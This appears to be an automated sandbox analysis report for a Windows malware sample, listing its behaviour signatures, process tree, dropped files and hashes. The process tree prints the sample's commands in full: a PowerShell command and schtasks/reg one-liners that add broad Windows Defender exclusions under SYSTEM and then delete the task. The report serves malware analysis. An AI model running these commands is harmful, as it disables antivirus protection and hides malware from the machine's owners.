Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 05:08

General

  • Target
    2026-10-22_8e0da48ae7d09b4713e00837fa007ac1_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
  • Size 34.6MB
  • Sample261024-fs1svaec75
  • SHA256 702011c344f10a3d089922bfb6268817635b53f088e3e03d247705ed79e91185
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-22_8e0da48ae7d09b4713e00837fa007ac1_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-22_8e0da48ae7d09b4713e00837fa007ac1_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2760
  • C:\Users\Public\Gkle8U\ZA9bQb.exe
    "C:\Users\Public\Gkle8U\ZA9bQb.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5920
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Gkle8U\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Gkle8U\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5328
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1932
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2336
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3436
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2328
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1936
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4264
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4680
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5856
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3468
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6024
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:6036
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5332
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3704
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1172
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:2884
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4924
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3600
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5824
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Gkle8U" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:6136
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Gkle8U" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:4464
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5772
                          • C:\Users\Public\Gkle8U\ZA9bQb.exe
                            "C:\Users\Public\Gkle8U\ZA9bQb.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:5236
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:5756
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:592
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4228
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:3864
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:4196
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4748

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 1KB
                                      • SHA256 10a90bc4b787acd9aba6186c8239765ac1a084379a44361a3515370c4ee595e9
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 1KB
                                      • SHA256 8d385c0931a5bafea01a056869b2d80bec56a60dfd585c6644c5ad5298764d80
                                      • MD5 SHA1 SHA512 TLSH

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 512B
                                      • SHA256 edb623f4730b98300ee6a1099182c208f9dd7883b73feb3d1e80c8d1dac162fe
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 506B
                                      • SHA256 c8c5e945946dab53bbfdf1dda3c017be44139c5090e1943a9a6cc90dac3bf6fb
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_ypwx4nw3.ntk.psm1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ypwx4nw3.ntk.psm1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\Gkle8U\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 7a971693e5917621a599e20dfae3c29486898258776e94c156ac6a7b40f515e2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      ZA9bQb.exe

                                      • Path C:\Users\Public\Gkle8U\ZA9bQb.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\Gkle8U\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 d7fb1d092e8e6dc0498485bc1191169f622b99afb49ad749988683257ba45e57
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\Gkle8U\msadox.tb
                                      • Size 8KB
                                      • SHA256 64972a111409e3eeb435be267158aa2880ab7300996472bf201297158e935f3b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/1088-562-0x00000240D47E0000-0x00000240D486A000-memory.dmp

                                      memory/1088-566-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-530-0x00007FF8393F0000-0x00007FF8393F2000-memory.dmp

                                      memory/1088-536-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-538-0x00007FF839400000-0x00007FF839402000-memory.dmp

                                      memory/1088-539-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-543-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-544-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-546-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-545-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-550-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-559-0x00000240D47E0000-0x00000240D486A000-memory.dmp

                                      memory/1088-560-0x00000240D47E0000-0x00000240D486A000-memory.dmp

                                      memory/1088-531-0x00007FF818A90000-0x00007FF818FAE000-memory.dmp

                                      memory/1088-556-0x00000240D3A50000-0x00000240D4327000-memory.dmp

                                      memory/1088-561-0x00000240D47E0000-0x00000240D486A000-memory.dmp

                                      memory/1088-558-0x00000240D3040000-0x00000240D308E000-memory.dmp

                                      memory/2760-524-0x0000000000440000-0x000000000044E000-memory.dmp

                                      memory/2760-525-0x00007FF82A650000-0x00007FF82A662000-memory.dmp

                                      memory/2760-0-0x0000000000440000-0x000000000044E000-memory.dmp

                                      memory/2760-504-0x00007FF82A650000-0x00007FF82A662000-memory.dmp

                                      memory/2760-2-0x0000000001F10000-0x0000000001F1C000-memory.dmp

                                      memory/2760-1-0x0000000000440000-0x000000000044E000-memory.dmp

                                      memory/5236-593-0x00007FF8393F0000-0x00007FF8393F2000-memory.dmp

                                      memory/5236-589-0x00000205043D0000-0x0000020504CA7000-memory.dmp

                                      memory/5236-585-0x00000205043D0000-0x0000020504CA7000-memory.dmp

                                      memory/5236-580-0x00000205043D0000-0x0000020504CA7000-memory.dmp

                                      memory/5236-592-0x00000205043D0000-0x0000020504CA7000-memory.dmp

                                      memory/5236-591-0x00000205043D0000-0x0000020504CA7000-memory.dmp

                                      memory/5236-590-0x00000205043D0000-0x0000020504CA7000-memory.dmp

                                      memory/5236-584-0x00007FF839400000-0x00007FF839402000-memory.dmp

                                      memory/5236-577-0x00007FF818A90000-0x00007FF818FAE000-memory.dmp

                                      memory/5920-597-0x0000025EE88D0000-0x0000025EE88F2000-memory.dmp

                                      memory/5920-600-0x0000025EE8AA0000-0x0000025EE8ABE000-memory.dmp

                                      memory/5920-601-0x0000025EE8AC0000-0x0000025EE8B72000-memory.dmp

                                      memory/5920-605-0x0000025EE8A90000-0x0000025EE8A9A000-memory.dmp

                                      memory/5920-608-0x0000025EE8FE0000-0x0000025EE90D0000-memory.dmp